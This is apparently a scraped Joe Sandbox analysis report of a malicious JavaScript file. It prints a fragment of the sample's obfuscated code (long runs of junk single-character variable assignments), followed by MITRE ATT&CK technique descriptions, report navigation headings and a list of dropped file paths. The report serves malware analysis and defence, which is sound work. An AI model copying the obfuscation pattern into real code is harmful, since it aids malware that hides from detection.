380	hzorhjksh = "t";
381	hzorhjksh = "Y";
382	hzorhjksh = "P";
383	hzorhjksh = "T";
384	nzoimcf = "t";
385	nzoimcf = "y";
386	nzoimcf = "Y";
387	nzoimcf = "E";
388	nzoimcf = "n";
389	nzoimcf = "m";
390	nzoimcf = "K";
391	nzoimcf = "G";
392	nzoimcf = "l";
393	nzoimcf = "b";
394	hffqg = "u";
395	hffqg = "E";
396	hffqg = "K";
397	hffqg = "S";
398	hffqg = "v";
399	hffqg = "n";
400	hffqg = "j";
401	hffqg = "T";
402	hffqg = "Q";
403	tetqjbnlr = "b";
404	tetqjbnlr = "o";
405	tetqjbnlr = "V";
406	tetqjbnlr = "N";
407	tetqjbnlr = "V";
408	tetqjbnlr = "t";
409	tetqjbnlr = "B";
410	tetqjbnlr = "p";
411	tetqjbnlr = "7";
412	wviak = "k";
413	wviak = "F";
414	wviak = "s";
415	wviak = "p";
416	wviak = "z";
417	wviak = "I";
418	wviak = "F";
419	fxurur = "C";
420	fxurur = "j";
421	fxurur = "B";
422	fxurur = "o";
423	fxurur = "k";
424	fxurur = "p";
425	fxurur = "&";
426	ylrqi = "o";
427	ylrqi = "n";
428	ylrqi = "g";
429	ylrqi = "u";
430	ylrqi = "D";
431	ylrqi = "x";
432	kgypxcdm = "D";
433	kgypxcdm = "i";
434	kgypxcdm = "u";
435	kgypxcdm = "P";
436	kgypxcdm = "e";
437	kgypxcdm = "F";
438	kgypxcdm = "x";
439	kgypxcdm = "c";
440	kgypxcdm = "o";
441	zmujdhoz = "e";
442	zmujdhoz = "s";
443	zmujdhoz = "J";
444	zmujdhoz = "p";
445	zmujdhoz = "r";
446	zmujdhoz = "B";
447	zmujdhoz = "m";
448	zmujdhoz = "y";
449	zmujdhoz = "4";
450	kstth = "L";
451	kstth = "b";
452	kstth = "f";
453	kstth = "n";
454	kstth = "h";
455	kstth = "Q";
456	kstth = "N";
457	kstth = "O";
458	kstth = "l";
459	kstth = "N";
460	peqqmbxmj = "v";
461	peqqmbxmj = "N";
462	peqqmbxmj = "r";
463	peqqmbxmj = "X";
464	peqqmbxmj = "z";
465	peqqmbxmj = "A";
466	peqqmbxmj = "e";
467	peqqmbxmj = "b";
468	peqqmbxmj = "Z";
469	peqqmbxmj = "c";
470	daqygc = "g";
471	daqygc = "D";
472	daqygc = "C";
473	daqygc = "E";
474	daqygc = "b";
475	daqygc = "O";
476	daqygc = "g";
477	daqygc = "p";
478	daqygc = "f";
479	daqygc = "a";
480	hqjefeqzt = "T";
481	hqjefeqzt = "n";
482	hqjefeqzt = "b";
483	hqjefeqzt = "b";
484	hqjefeqzt = "U";
485	hqjefeqzt = "q";
486	hqjefeqzt = "U";
487	hqjefeqzt = "W";
488	hqjefeqzt = "u";
489	hqjefeqzt = "K";
490	wnexvwlam = "a";
491	wnexvwlam = "j";
492	wnexvwlam = "y";
493	wnexvwlam = "Q";
494	wnexvwlam = "I";
495	wnexvwlam = "o";
496	wnexvwlam = "L";
497	wnexvwlam = "C";
498	wnexvwlam = "P";
499	gwbfe = "r";
500	gwbfe = "f";
501	gwbfe = "Z";
502	gwbfe = "g";
503	gwbfe = "h";
504	gwbfe = "V";
505	gwbfe = "2";
506	piufnw = "k";
507	piufnw = "V";
508	piufnw = "c";
509	piufnw = "r";
510	piufnw = "G";
511	piufnw = "i";
512	piufnw = "T";
513	piufnw = "v";
514	ghmwelvkl ( );	ghmwelvkl() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 15994293462788625581.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5cee4ae7-c8f7-4ab6-a248-7a9bc9be53df.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.2328

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
15994293462788625581.js